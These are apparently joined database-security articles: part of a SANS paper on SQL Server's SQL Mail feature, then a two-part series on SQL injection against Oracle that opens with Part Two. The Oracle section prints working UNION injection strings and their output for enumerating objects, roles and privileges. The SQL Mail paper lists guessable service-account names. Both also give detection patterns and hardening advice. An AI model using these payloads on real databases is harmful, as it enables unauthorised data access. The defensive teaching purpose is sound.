III. The vulnerability.
So it’s possible to configure a SQL Mail enabled database to respond to queries.
Since the query is run by the database itself, by default it runs with the privileges
of the account used by the underlying service. In order to support SQL Mail, the
MSSQLServer service must be run from a domain account with local admin
privileges (at minimum). Thus the query is executed with fairly extensive
privileges.
Using a basic configuration, the database will respond to any query, from any
requestor. That’s a little generous, to say the least. In almost any database
system, we’d like to limit the information that can be retrieved by the average
user (protecting system information, if nothing else).
But it’s actually a little more complicated than that. Most of Microsoft’s
descriptions of this feature mention SQL Server processing a ‘query’ delivered in
an Email message. But what exactly is a ‘query’? One might be tempted to
assume that ‘query’ implies a read-only request.
In fact, the database will respond to any valid SQL statement. So, in addition to
queries, it’s possible to process insert, update, and delete commands, create,
modify or drop database objects (such as tables), etc. SQL Server also a rich set
of built-in SQL routines, known as system stored procedures and extended
stored procedures, that could be invoked through an Email message.
System stored procedures are used to perform operations within the database
(as opposed to interacting with external processes, for example). They’re written
and stored in the database in T-SQL, the Microsoft dialect of SQL. Since they’re
stored as source code, rather than in a compiled form, they could conceivably be
modified through an email-delivered payload (assuming sufficient privilege).

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
Extended stored procedures are able to execute external functions by mapping
through DLLs. For example, there’s an xp_cmdshell routine that can accept and
execute Windows command-line functions. For an excellent discussion of the
kinds of operations that can be performed through these built-ins and how they
might be abused by an intruder, see McDonald [1].
On the basis of our other two information security goals – confidentiality and
integrity – a trivial SQL Mail implimentation leaves much to be desired.
The simple reply-to-sender model makes no attempt to verify the identity of the
requestor (authentication) or to check whether the requestor has rights for the
information requested (authorization). Unless mechanisms to implement
authentication and authorization are included in SQL Mail query/reply systems,
confidentiality and integrity are difficult to guarantee.
What are the barriers to abuse of the minimal SQL Mail implementation by
intruders? In essence, the only default safeguards are 1) lack of awareness – on
the part of the intruder - of the vulnerability itself, 2) lack of awareness of the
existence of a database that has implemented the facility, and is thus vulnerable,
3) lack of awareness of the name of the account to which SQL Mail can be
addressed and 4) demotion of the default privilege level of the process.
Essentially, security relies on ignorance - always a dangerous assumption - and
careful attention to the privilege of the Email handler by the database
administrator. If the first three hurdles are overcome, the problem for a potential
intruder becomes one of privilege elevation, at worst.
Assuming would-be intruders are aware of the vulnerability itself, how great a
safeguard do the other 2 awareness barriers provide?
From an intruder’s perspective, if she/he could determine the proper account, the
target Email system would route the penetration message to the appropriate
database server. So if the intruder has knowledge of the SQL Mail account, or
can guess the name of the account, a simple Email message (one that could be
guaranteed to run for even the least privileged account) would be enough to
determine whether incoming SQL Mail has been implemented in the target
domain! Once the intruder has gathered this intelligence, she/he’s ready to
tackle the privilege issue – assuming there is one!
There are some logical candidate names that might be chosen for the SQL Mail
account. Remember, if the utility is to have legitimate value, it would tend to be
given a name that’s relatively descriptive, to make it easy to remember. There
are also more-or-less well known names for this account, and an intruder aware
of the vulnerability would probably know these, as well. These would include
standard domain admin accounts like ‘administrator’, SQLAdmin (or SQLAdmin1,
SQLAdmin2… the names used in course materials for SQL Server administration
from Microsoft [7]), and a few other logical candidates (SQL, SQLServer,

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
SQLOperator, etc.) Remember that it only takes an Email message to test each
possibility. Also, sites that wish to implement this utility for multiple database
instances might need a separate account for each one (to allow messages to be
routed to the proper server), further increasing the probability of a hit.
Still, how likely is the interest of potential intruders in SQL databases? We might
make an inference from another technique used to compromise SQL databases,
SQL injection [1,10].
SQL injection relies on trial-and-error modifications to parameters passed to a
database via the URL on a web page. By modifying the parameters, the intruder
is eventually able to discern data structures and retrieve data. To be effective,
the intruder has to be fairly fluent in relational database concepts and SQL (as
well as to find a database vulnerable to SQL injection).
SQL injection can be relatively slow and labor intensive. The intruder has to
invest some time to compromise even a vulnerable database, and even after
some degree of penetration has been achieved, exploiting the intrusion tends to
be tedious, since queries still have to passed through URLs. By comparison, a
mail-enabled SQL Server database, where SQL can be passed in clear text is
easier to use.
One advantage of SQL injection over a SQL Mail attack is that public web pages
offer a clue where a vulnerable database might be found. By observing
displayed pages and inspecting URLs, web pages that access SQL databases
can be detected. Tools that could be used to perform reconnaissance also exist,
such as Wpoison [1]. Note, however, that the same clues could be used to
perform reconnaissance for SQL Mail attacks.
In fact, SQL Mail and SQL injection may be very complimentary intrusion
techniques. Intruders familiar with one would probably find the other useful and
easy to learn. The two techniques could be combined in attacks on any
database that was vulnerable to both, or to use one vulnerability to implement the
other.
IV. Standard Setup.
In order to discuss techniques to harden SQL Mail to prevent intrusions, it helps
to know a little more about how it’s configured.
There are a number of excellent and detailed references that discuss the
configuration of SQL Mail in great detail [2,3,4,6,8]. The following brief
description of the configuration process is not intended to provide an alternative
to these resources. What’s described here is the basic information necessary to
understand and explore the security implications of the various configuration
options. Some or all of these references should be consulted before pursuing

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
use of SQL Mail in your environment, in order to more thoroughly understand
how SQL Mail is installed and used.
Note, also, this discussion reflects the current production version of SQL Server
(SQL Server 2000), rather than any of the earlier versions of the database that
have supported SQL Mail. Information on specifics of earlier versions can be
found in many of the references cited and other resources on the Microsoft
website.
It’s also worth mentioning that both of the SQL Server services (the database
service and the SQL Agent service) can make use of Email. Server mail, as
noted earlier, is referred to as ‘SQL Mail’, and the agent mail as ‘SQL Agent
mail’. SQL Agent mail is only used for outgoing mail. It doesn’t process
incoming messages, and we’ll largely ignore it for the remainder of this
discussion.
Briefly, preparation to use SQL Mail requires at least the following steps:
♦ SQL Server installations create 2 Windows services (the MSSQLServer
database service and the SQLSERVERAgent service). By default, the
standard installation will create and configure these services to run under
the local administrator account. While sufficient for most database
operations, this will not support SQL Mail. To use SQL Mail, the relevant
service must be run under a Windows domain account with local
administrator privileges. Create such an account if you’re not going to use
an existing account.
♦ Create an Email account on the mail server for the domain account just
described.
♦ SQL Mail requires an Outlook 2000 or Outlook 2002 mail client to
communicate with your Email server (typically Exchange). Log onto the
Windows server using the same account that will be used to run the SQL
Server service(s), and configure Outlook as the default mail client (as
opposed to Outlook Express or some other Email client).
♦ Create a mail profile on the database server that identifies the mail server,
etc. that’s appropriate for your environment.
♦ Open the Outlook client and verify that Email can be sent and received
from the domain account on the server that hosts the database.
♦ Use the SQL Server Enterprise Manager utility on the server to associate
the new mail profile with the server service and/or the SQL Agent service1.
1 It’sworth noting that once you configure a mail profile for either the server service or SQL Agent, it’s not
possible to ‘undo’ the profile from Enterprise Manager. You can change to another profile, but you can’t
return to a null profile. To completely remove a mail profile once you’ve defined one, you’ll have to edit
the registry.
© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
♦ While still in SQL Server Enterprise Manager, create a job that runs the
sp_processmail [5] package. Schedule it to run at a suitable interval (e.g.
every 5 minutes) to process incoming Email messages.
The sp_processmail package isn’t the only option available for processing
incoming mail. It simply provides the basics needed for a rather bare-bones
utility, and serves as a time-saver to get inbound Email processing up and
running. It mostly calls a number of extended stored procedures (xp_openmail,
xp_findnextmsg, xp_readmail, xp_sendmail, xp_deletemsg, etc.) to process a
single message, expected to contain a single query.
Furthermore, although this doesn’t appear to be documented anywhere, the
procedure as delivered will process requests with a default privilege of ‘guest’.
So, by default, sp_processmail will reduce the privilege of the mail handler to a
fairly conservative level. Be careful that you don’t simply remove this default
value if ‘guest’ is too restrictive. Without any value for the @set_user parameter
for sp_processmail, it will run every job with the full privileges of the server.
V. Protective Measures.
Before we even begin to consider protection, note that SQL Mail is not part of the
default SQL Server installation. It must be configured manually, after the
database itself is installed. Therefore the SQL Mail vulnerability is not one that
need be immediately addressed after every database installation.
However, if you do set up SQL Mail to process incoming messages, there are
many techniques that can be used to increase its security. The following list isn’t
exhaustive – there’s always room for new ideas – but will certainly be an
improvement over a basic SQL Mail installation.
1) Don’t use SQL Mail at all. This may sound like a ridiculous suggestion. It’s
a classic “throwing the baby out with the bath water approach”. But as we
noted earlier, proper attention to security must consider confidentiality,
integrity, and availability. Functionality nearly always conflicts with security to
a greater or lesser extent. You have to consider the value of the feature
(accessibility) and weigh it against the associated risk (integrity and
confidentiality). The SQL Server Security Checklist found at [11] simply
recommends not using this feature, without further discussion. Do you have a
genuine need for this, or is it just a convenience you could live without?
Certainly consider some of the following suggestions to mitigate the risk
before making this decision, but SQL Mail may not be worth the risk at the
end of the day. Avoid the temptation to add a service because ‘it might be
useful someday’. In our environment, we expect that we will use outgoing
mail at some point, and we will configure it when it’s needed. But we highly
doubt the need for incoming SQL Mail at any point in the future.

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
2) Don’t accept incoming messages. SQL Mail requires some sort of ‘reader’
process to handle incoming mail. Microsoft supplies the sp_processmail
package as one way to implement the reader process (as noted, you could
also code your own). But you’re not obligated to do anything with these
messages, and you may only need the outgoing mail features. If this is the
case, don’t set up an incoming mail handler of any sort.
3) Screen incoming messages. Watch for suspicious Email traffic that might
be directed toward the SQL Mail service. Look for messages that contain
strings like ‘SELECT’…’FROM’ to detect messages with SQL bodies. Look
for messages addressed to the SQL Mail account, or addressed to logical
candidate names for the account. Many mail servers allow traffic for
particular accounts to be copied and stored, in addition to being delivered.
Direct a copy of all messages going to or coming from the SQL Mail account
to an administrator or operator account, so that traffic can be monitored with a
minimum lag from the time it’s delivered to the database.
4) Intercept (block) incoming messages. Configure your mail server to reject
(or drop, or quarantine) mail addressed to the SQL Mail account from external
users (maybe even some internal users), or both, as your needs might
demand. Your mail server(s) have to route mail to SQL Server before either
legitimate users or intruders can take advantage of the service. Don’t deliver
anything that’s not wanted. Combine this with (2) above, or some of the
suggestions that follow, to build up a defense-in-depth strategy.
5) Filter incoming messages. Exercise some selectivity in the messages that
get processed. There are any number of ways to evaluate the incoming
message to decide whether to respond to the request.
a. If you’re using the sp_processmail package, consider using the @subject
[5] parameter when invoking it. The package will only process messages
that match the subject you specify in the call to sp_processmail. Although
the primary purpose for this parameter is to distribute the workload over
multiple mail handlers, it could be used for a sort of “poor man’s
passphrase” system. An intruder would need to know the passphrase to
have his/her message processed.
b. If using sp_processmail, you could use the @set_user [5] parameter with
an argument of @originator to accept messages only from senders with a
valid SQL Server account. (Consider the possibility that the sender
address could be spoofed when you evaluate the reliability of such an
approach.)
c. If you code your own routine to process incoming mail (instead of using
sp_processmail), you could extend the passphrase technique to include a
password/passphrase in any part of the message. The @subject

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
approach used in the preceding item is a sort of binary filter; you either
know the passphrase and your request is processed, or you don’t know it
and the request is rejected. If you code your own routine, you could scan
for a passphrase in the message body as well as the subject. You could
also implement a number of different passphrases, each of which keys a
different processing behavior/privilege.
d. Another possibility open to you if you develop your own mail processor
would be to use certificates or encryption. Possible encryption protocols
that could be used include Privacy Enhanced E-Mail (PEM) or Secure
Multipurpose Internet Mail Extensions (S/MIME). Incoming messages that
lacked the proper certificate or that were unencrypted (or improperly
encrypted) would be rejected. This would require a significant
programming effort, but if, for example, a consulting organization was
using SQL Mail to perform remote SQL Server administration for several
clients, the cost might be justified.
6) Reduce the privilege of the mail handler. As already noted, the E-mail
processing routine will run with the privilege of the server process itself, and
sp_processmail will demote the privilege to that of a ‘guest’ user. Even this
may be too generous if you have no other barriers in place to screen potential
intruders. The principle of least privilege should always be applied to an
incoming mail processor.
a. If you’re using sp_processmail, another advantage of the
@set_user=@originator parameter is that the privilege of the process is
automatically aligned with the matching database user account (in addition
to the previously noted behavior of rejecting requests for requestors who
don’t have a database account).
b. If you customize sp_processmail, or if you create your own mail handler,
avoid the temptation to start with wide-open security, with the best of
intentions for making improvements later. At minimum, follow the
sp_processmail model for your base security. Enhance it by filtering by
statement type (allow only SELECT statements, not UPDATES or
DELETES, for example), or by requestor (only allow employees access to
their own records).
7) Secure your database. Implement general database hardening [2,11], apply
operating system and SQL Server patches, etc. Everything you do to
improve general database security will improve the environment for SQL Mail.
VI. Intrusion Detection.
Regardless of your efforts to prevent intrusions, you have to consider the
possibility that your installation may be compromised. If that occurred, how
would you detect the penetration?

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
When it comes to detection, I’m always reminded first of one of the lessons from
Clifford Stoll’s classic book “The Cuckoo’s Egg” [9]. His search for an intruder
began because of a minor discrepancy between a standard accounting utility and
one that had been custom written. The intruder knew about the standard
package, and made an effort to cover his tracks. But he was unaware of the
custom utility, and comparison of the two exposed his activities. Standard
features and utilities are more convenient and easy to use than custom coding,
but they’re also well known to intruders, and are more vulnerable to tampering for
that reason.
1) Retain processed messages. By default, sp_processmail will delete
messages after they’ve been processed. While this might save space, it
removes a potential audit trail. Not only do you need some way to determine
what’s happened when you suspect an intrusion, you need to have some way
of knowing what your normal activity is. Checking the messages processed
by SQL Server is probably one of the most convenient ways of accomplishing
both of these objectives. It’s also an obvious possibility, which an intruder
would check and attempt to sanitize. Saving copies on your mailserver, as
already mentioned, is probably less susceptible to tampering by an intruder.
2) Log everything, everywhere. If there’s one thing Microsoft products do well,
it’s to provide plenty of checkboxes for ‘Create Log’ and a field to specify the
log name and destination (or to use one of the system logs). Use them. It’s
hard to think of much downside to having a record of operations on your
database. (Aside from the overhead it takes to create the logs and diskspace
it takes to save them. So buy another disk for audit information if you need to
– it’s cheaper than losing evidence of an intrusion because you didn’t have
room to save the log.) In addition, SQL Server takes logging to another level
with the SQL Profiler audit tool. Understanding the Profiler is an absolute
must for any database administrator. It’s capable of recording things like the
creation of new database accounts, changes to user rights, database
operations like backups, etc. You can define your own event ‘producers’ if
you’d like. It can direct trace information to a GUI management interface, flat
files, tables, or event logs. Don’t be too complacent with the standard logs,
though. Remember the Cuckoo’s Egg. Building application logs is probably
one of the easiest forms of custom recordkeeping you can add. Consider
things like adding your own code to critical stored procedures (like
sp_processmail), that will record each call to the routine, and when, and by
whom.
3) Create a ‘tripwire’. Tripwire is a tool that can generate a ‘fingerprint’ of a file
using a one-way hashing algorithm. It can be used to detect tampering with
critical files on a server by comparing the hashes generated at different times.
If the fingerprints match, you know nobody has tampered with the files.
Unfortunately, database files are large container files that are constantly
changing, so the standard file-based tripwire product isn’t very useful to

© SANS Institute 2003, Author retains
full rights
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full
rights.
detect database tampering. Within the database, however, it might be
possible to identify objects like stored procedures that should be fairly static.
It would be easy to write SQL scripts that could list these objects, to see if the
numbers of these objects change over time2. A more ambitious undertaking
might be to code your own hash algorithm and ‘fingerprint’ the objects, to
develop a ‘tripwire’ to run within the database.
VII. Conclusion.
The feature of SQL Mail that allows database requests to be submitted via E-mail
is one that should be used with a great deal of caution. The primary advantage
of this feature – the fact that it is so easy to widely deploy as an application
interface – is also the source of its greatest weakness.
It’s useful because E-mail tends to be one of the transport mechanisms that’s
commonly allowed through firewalls and other network filtering devices. The
vulnerability this presents is that virtually all protective measures have to be
deployed within the database itself. If you use this tool, you’re almost forced to
deal with potential attackers when they’re at the gate.
The one tool that might help you protect your database at a distance is a
mailserver that’s capable of screening and filtering E-mail. If at all possible, this
should be a prominent part of your defense-in-depth strategy, if you’re accepting
inbound SQL Mail, sitting between your firewall and your database server. The
mailserver is the first place you have an opportunity to detect reconnaissance
probes and intrusion attempts. Ideally, that’s the place that you will stop
attackers, but if not, the last line of defense is the database server itself.
Hopefully, this paper has given you a good idea how this feature can be used
and how it operates, what the inherent weaknesses are, how to begin building
your defenses, and where to go to get additional information.
                     SQL Injection and Oracle, Part Two
This is the second part of a two-part article that will examine SQL injection attacks against
Oracle databases. The first installment offered an overview of SQL injection and looked at how
Oracle database applications are vulnerable to this attack, and looked at some examples. This
segment will look at enumerating the privileges, detecting SQL injection attacks, and
protecting against SQL injection.


Enumerating the Privileges


Access to SQL inject an Oracle database is great, but what would an attacker look for to gain
an advantage or a potential step up. He would, of course, need to enumerate the user he had
access to and see what that user can see and do. I will show a few examples here to give the
reader an idea of what is possible.


In this example, we are logged in as the user dbsnmp and the get_cust procedure has been
modified to select three columns from our sample table. If we use a union to extend an
existing select statement then the new SQL in the union must select the same number of
columns and data types as the existing hijacked select otherwise an error occurs, see the
following:

SQL> exec get_cust('x'' union select 1,''Y'' from sys.dual where
''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from
customers
where customer_surname='x' union select 1,'Y' from sys.dual where
'x'='x'
-1789ORA-01789: query block has incorrect number of result columns

The main select has three varchar columns but we select two columns and one is a number;
as a result, an error occurs. Back to enumeration, first get the objects that the user we are
logged in as can see:

SQL> exec get_cust('x'' union select object_name,object_type,''x'' from
user_obj
ects where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from
customers
where customer_surname='x' union select object_name,object_type,'x'
from
user_objects where 'x'='x'
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x

Then get the roles that have been allocated directly to the user:

SQL> exec get_cust('x'' union select
granted_role,admin_option,default_role from
 user_role_privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from
customers
where customer_surname='x' union select
granted_role,admin_option,default_role
from user_role_privs where 'x'='x'
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES

Then find out the system privileges that are granted directly to the user:

SQL> exec get_cust('x'' union select privilege,admin_option,''X'' from
user_sys_
privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from
customers
where customer_surname='x' union select privilege,admin_option,'X' from
user_sys_privs where 'x'='x'
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X

Selecting from the table USER_TAB_PRIVS will give the privileges granted directly to the user
on objects. There are many system views that start USER_%, these show objects and
privileges that are granted to the current user as well as details about objects owned by the
user. For instance, there are 168 views or tables in Oracle 8.1.7, so this gives an indication of
the amount of detail that can be learned about the user you are logged in as. These USER_%
views do not include all the many privileges and options available to the current user;
however, besides those specifically granted, any user also can include all of the objects that
have permissions granted to PUBLIC.


PUBLIC is a catch-all that is available to all users in the Oracle database. There is a good set of
views, known as the ALL_% views, that is similar in construction to the USER_% views. These
include every item available to the current user, including PUBLIC ones. A good place to start
is the view ALL_OBJECTS, as it has a similar structure to USER_OBJECTS and will display
every object and its type available to the current user. A good query to see all of the objects,
their types and owner available would be:

select count(*),object_type,owner
from all_objects
group by object_type,owner

The V$ views is also a good set of views, provided they are available to the user. These give
information about the current instance, performance, parameters, and the like.
V$PARAMETER, which gives all of the database instance initialization parameters, including
details of the UTL_FILE directories is a good example. V$PROCESS and V$SESSION are
another pair of views that will give details of current sessions and processes. These will tell the
user who is logged on, where they are logged in from, and what program they are using, etc.


In conclusion to this exploration section it is worth mentioning that because I wanted to make
easy examples that anyone with a copy of the Oracle RDBMS could try out, I used a PL/SQL
procedure to demonstrate the techniques and obviously I had access to my source code. It
made it easy for me to understand exactly the SQL I could send successfully without causing
errors.


In the real world, in a Web-based environment, or in a network-based application, the source
code would probably not be available. As a result, working out how to get successful SQL to
send will probably require trial and error. If error messages are returned to the user either
directly from the Oracle RDBMS or from the application, then it is usually possible to work out
where to change the SQL. An absence of error messages makes it harder but not impossible.
All of the Oracle error messages are quite well documented and are available on-line on a Unix
system with the oerr command or with the HTML documentation provided with Oracle CDs on
any platform. (Remember anyone can get a copy of Oracle to use to learn the product.) They
are also on-line, along with the complete Oracle documentation, at http://tahiti.oracle.com/.


Having knowledge of Oracle and of the schema of the user being used is also a great
advantage. Quite obviously, some of this knowledge is not hard to learn, so the lesson is that
in case anyone is able to SQL inject into your database then you need to minimize what they
can do, see, or access.


Detecting SQL Injection


Oracle is a large product and is applied in many diverse uses, so to say that SQL injection can
be detected would be wrong; however, in some cases, it should be possible for the DBA or
security admin to spot whether or not this technique is being used. If abuse is thought to be
taking place then forensic investigations can be done using the redo logs. A GUI tool called
Log Miner is available from Oracle to allow the redo logs to be analysed. However, this has
serious restrictions: until version 9i, select statements could not be retrieved. The redo logs
allow Oracle to replay all of the events that altered data in the database, this is part of the
recovery functionality. It is possible to see all statements and data that has been altered. Two
PL/SQL standard packages, DBMS_LOGMNR and DBMS_LOGMNR_D, are available, these
packages allow the redo logs to be queried from the command line for all statements
processed.


The extensive Oracle audit functionality can be utilized but, again, unless you know what you
are looking for, finding evidence of SQL injection taking place could like finding a needle in a
haystack. The principle of least privilege should be observed in any Oracle database so that
only those privileges that are actually needed are granted to the application database users.
This simplifies (minimizes) what can be legally done and, as a result, makes any actions
outside the scope of these users easier to spot. For instance, if the application user should
have access to seven tables and three procedures and nothing else, then using Oracle audit to
record select failures on all other tables would enable an administrator to spot any attempted
access to any table outside the applications realm. This can be done, for example, for one
table with the following audit command:

SQL> audit select on dbsnmp.customers by access whenever not
successful;
Audit succeeded.

A simple script can be built to generate the audit statements for the tables needed. There
should be no real performance issues with this audit, as no other tables should be accessed by
the application. As a result, it should not therefore generate audit. Of course, if someone
successfully accesses a table outside the realm, it would not be captured. This is merely
intended as a first step.


The same audit principles can be used to audit DDL, inserts and update failures or successes.
The new SANS guide (see references) has a whole chapter on audit.


Another idea could be to watch the SQL executed and look for any dodgy SQL. A good script
called peep.sq can be used to access the SQL executed from the SGA is one called from
http://www.oriole.com/frameindexSA.html, search down the list of free scripts and get it. The
script gives the SQL statements in the SGA with the worst performance times. It can be easily
modified to remove the execution time restraints and bring back all SQL in the SGA. A script
such as this can be scheduled on a regular basis and then the SQL that is returned can be
used to guess if any SQL injection has been attempted. I say “guess” because it is virtually
impossible to know all legal pieces of SQL an application generates; therefore, the same
applies to spotting illegal ones. A good first step would be to identify all statements with
“union” included or or statements with ‘x’=’x’ type lines. There could be performance issues
with extracting all of the SQL from the SGA regularly!


The best cure of course is prevention!


Protecting against SQL Injection


On the surface, protection against SQL injection appears to be easy to implement but, in fact,
it is not as easy as it looks. The solutions fall into two distinct areas:


    •   Do not allow dynamic SQL that uses concatenation, or at least filter the input values
        and check for special characters such as quote symbols.
    •   Use the principle of least privilege and ensure that the users created for the
        applications have the privileges needed and all extra privileges (such as PUBLIC ones)
        are not available.


This section cannot go into great detail; such a discussion would constitute an entire article in
itself. However, certain basic measures can be taken. These actions fall into two sections:


    •   Review the application source code. The code can be written in many different
        languages, such as PHP, JSP, java, PL/SQL VB, etc., so the solutions vary. However,
        they all follow a similar pattern. Review the source code for dynamic SQL where
        concatenation is used. Find the call that parses the SQL or executes it. Check back to
        where values are entered. Ensure that input values are validated and that quotes are
        matched and metacharacters are checked. Reviewing source code is a task that is
        specific to the language used.
    •   Secure the database and ensure that all excess privileges are revoked.


Some other simple tips to follow include:


    •   If possible, do not use dynamic PL/SQL. The potential for damage is much greater
        than for dynamic SQL, as then there is scope to execute any SQL, DDL, PL/SQL etc.
    •   If dynamic PL/SQL is necessary then use bind variables.
    •   If PL/SQL is used use AUTHID CURRENT_USER so that the PL/SQL runs
        as the logged in user and not the creator of the procedure,
        function or package.
    •   If concatenation is necessary then use numeric values for the
        concatenation part. This way strings cannot be passed in to add
        SQL.
    •   If concatenation is necessary then check the input for malicious
        code, i.e. check for union in the string passed in or
        metacharacters such as quotes.
    •   For dynamic SQL if it is necessary use bind variables. An example
        is shown below:

We first need to alter our simple procedure to allow the dynamic part passed in to use a bind
variable. This is shown here:

create or replace procedure get_cust_bind (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname=:surname';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt using lv_surname;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/

First we execute with a genuine value, in this case “Clark”, to show that the correct records
are returned. We then we try to SQL inject this procedure and find it doesn’t work:

SQL> exec get_cust_bind('Clark');
debug:select customer_phone from customers where
customer_surname=:surname
::999444888
::999777888

PL/SQL procedure successfully completed.

SQL> exec get_cust_bind('x'' union select username from all_users where
''x''=''
x');
debug:select customer_phone from customers where
customer_surname=:surname

Some more pointers:


    •    Encrypt sensitive data so that it cannot be viewed.
    •    Revoke all PUBLIC privileges where possible from the database
    •    Do not allow access to UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT,
         UTL_HTTP,UTL_SMTP or any other standard or application packages that allow access
         to the O/S.
    •    Change database default passwords.
    •    Run the listener as a non-privileged user.
    •    Ensure that minimum privileges are granted to application users.
    •    Restrict PL/SQL packages that can be accessed from apache.
    •    Remove all example scripts and programs from the Oracle install.


Final thoughts


I hope that this article has given an overview of some of the possibilities of SQL injecting
Oracle and done so with simple examples that most readers can try. Again, SQL injection is a
relatively simple technique and on the surface protecting against it should be fairly simple;
however, auditing all of the source code and protecting dynamic input is not trivial, neither is
reducing the permissions of all applications users in the database itself. Be vigilant, grant what
is needed, and try and reduce dynamic SQL to the minimum.

Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently
working in the UK financial sector and has recently completed the new Oracle security step-by-step guide for
the SANS institute. Pete has many years of development and administration experience in many languages.
Pete is regarded as one of the worlds leading experts on Oracle security.

Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for
Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations
with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the
SANS Institute.




Relevant Links

All of the code from this paper is available from the author's Web site from the scripts menu - SQL
and PL/SQL option.</< A>
www.petefinnigan.com
Protecting Oracle Databases Whitepaper
Aaron Newman, Application Security Inc

Hackproofing Oracle Application Servers
David Litchfield, NGSSoftware Insight Security Research

Rain Forest Puppy

RFPlutonium to fuel your PHP-Nuke
Rain Forest Puppy

NT Web Technologies Vulnerabilities
Rain Forest Puppy




                      SQL Injection and Oracle, Part One
SQL injection techniques are an increasingly dangerous threat to the security of information
stored upon Oracle Databases. These techniques are being discussed with greater regularity
on security mailing lists, forums, and at conferences. There have been many good papers
written about SQL Injection and a few about the security of Oracle databases and software but
not many that focus on SQL injection and Oracle software. This is the first article in a two-part
series that will examine SQL injection attacks against Oracle databases. The objective of this
series is to introduce Oracle users to some of the dangers of SQL injection and to suggest
some simple ways of protecting against these types of attack.


Oracle is a huge product and SQL injection can be applied to many of its modules, languages
and APIs, so this paper is intended to be an overview or introduction to the subject. This two-
part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor
is it intended as a detailed discussion on the finer points of the technique in general. (Details
of SQL injection techniques have been covered admirably in the past for other languages and
databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers
are included in the reference section at the end of this paper.) Rather, I have designed this
paper so that as many readers as possible can try out the examples. To achieve this I have
used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL
injection from the ubiquitous SQL*Plus.


Prior to commencing our discussion, it may be useful for readers to know that all of the code
from this paper is available from the author's Web site at http://www.petefinnigan.com from
the scripts menu - SQL and PL/SQL option..


What is SQL Injection


SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a
method by which the parameters of a Web-based application are modified in order to change
the SQL statements that are passed to a database to return data. For example, by adding a
single quote (‘) to the parameters, it is possible to cause a second query to be executed with
the first.


An attack against a database using SQL Injection could be motivated by two primary
objectives:


    1.   To steal data from a database from which the data should not normally be available,
         or to obtain system configuration data that would allow an attack profile to be built.
         One example of the latter would be obtaining all of the database password hashes so
         that passwords can be brute-forced.
    2.   To gain access to an organisation’s host computers via the machine hosting the
         database. This can be done using package procedures and 3GL language extensions
         that allow O/S access.


There are many ways to use this technique on an Oracle system. This depends upon the
language used or the API. The following are some languages, APIs and tools that can access
an Oracle database and be part of a Web-based application.
    •    JSP
    •    ASP
    •    XML, XSL and XSQL
    •    Javascript
    •    VB, MFC, and other ODBC-based tools and APIs
    •    Portal, the older WebDB, and other Oracle Web-based applications and API’s
